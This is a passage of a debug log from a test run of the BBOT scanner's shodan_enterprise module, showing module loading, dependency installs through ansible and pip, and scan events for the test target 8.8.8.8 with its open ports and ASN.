16:43:39,602 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:43:39,603 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:43:39,603 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:43:39,604 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:43:39,604 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:43:39,605 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:43:39,606 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:43:39,606 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:43:39,607 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:43:39,607 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:43:39,608 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:43:39,608 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:43:39,609 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:43:39,609 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:43:39,610 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:43:39,611 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:43:39,612 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:43:39,612 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:43:39,614 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:43:39,614 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:43:39,617 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:43:39,618 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:43:39,619 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:43:39,620 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:43:39,621 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:43:39,622 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:43:39,623 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:43:39,623 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:43:39,624 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:43:39,624 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:43:39,625 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:43:39,626 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:43:39,627 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:43:39,628 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:43:39,628 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:43:39,629 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:43:39,630 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:43:39,631 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:43:39,631 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:43:39,631 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:43:39,632 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:43:39,633 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:43:39,634 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:43:39,634 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:43:39,635 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:43:39,636 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:43:39,637 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:43:39,637 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:43:39,638 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:43:39,639 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:43:39,640 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:43:39,640 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:43:39,641 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:43:39,641 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:43:39,642 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:43:39,643 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:43:39,643 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:43:39,644 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:43:39,645 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:43:39,646 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:43:39,647 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:43:39,647 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:43:39,648 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:43:40,771 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:43:40,772 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:43:40,772 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:43:40,910 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:43:41,485 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:43:41,486 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:43:41,486 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:43:41,486 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:43:41,695 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:43:41,696 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:43:41,805 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:43:41,805 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:43:41,860 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:43:41,863 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:43:41,863 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:43:42,305 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:43:42,306 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:43:45,317 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:43:45,317 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:43:45,318 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:43:47,141 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:43:47,142 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:43:47,148 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:43:47,148 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:43:47,148 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:43:47,149 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:43:47,153 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/uycpppqragb9t5c9ayme +2026-03-01 16:43:47,917 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:43:47,918 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:43:47,918 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:43:47,919 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:43:47,920 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:43:47,921 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:43:48,043 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:43:48,044 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:43:48,044 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:43:48,045 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:43:48,046 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:43:48,046 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:43:48,046 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:43:48,047 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:43:48,047 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:43:48,047 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:43:48,048 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:43:48,048 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:43:48,049 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:43:48,049 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:43:48,050 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:43:48,050 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:43:48,050 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:43:48,050 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:43:48,051 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:43:48,051 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:43:48,051 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:43:48,052 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:43:48,052 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:43:48,052 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:43:48,052 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:43:48,052 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:43:48,052 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:43:48,053 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:43:48,053 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:43:48,053 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:43:48,053 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:43:48,054 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:43:48,055 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:43:48,055 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:43:48,055 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:43:48,199 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_6kkmyclhgd +2026-03-01 16:43:48,199 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:43:48,310 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:43:48,310 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:43:48,311 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:43:48,312 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:43:48,412 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-03-01 16:43:48,413 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 16:43:48,415 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-01 16:43:48,415 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:43:48,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:43:48,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:43:48,418 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:43:48,418 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:43:48,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:43:48,422 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:43:48,422 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:43:48,424 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:43:48,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:43:48,426 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:43:48,427 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:43:48,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:43:48,431 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:43:48,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:43:48,432 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:43:48,432 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 16:43:48,433 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-01 16:43:48,433 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 16:43:48,433 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:43:48,434 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:43:48,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-01 16:43:48,526 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:43:48,527 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:f051f04f74b8248075dcc250a9f95f81717cbba0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:43:48,527 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-01 16:43:48,528 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-01 16:43:48,528 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,529 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,530 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:43:48,530 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,531 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,531 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,532 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,532 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,533 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:43:48,533 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,534 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,534 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,535 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,535 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,535 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,536 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:43:48,537 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,537 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,538 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,538 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:43:48,539 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:43:48,539 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:43:48,540 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:43:48,540 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", 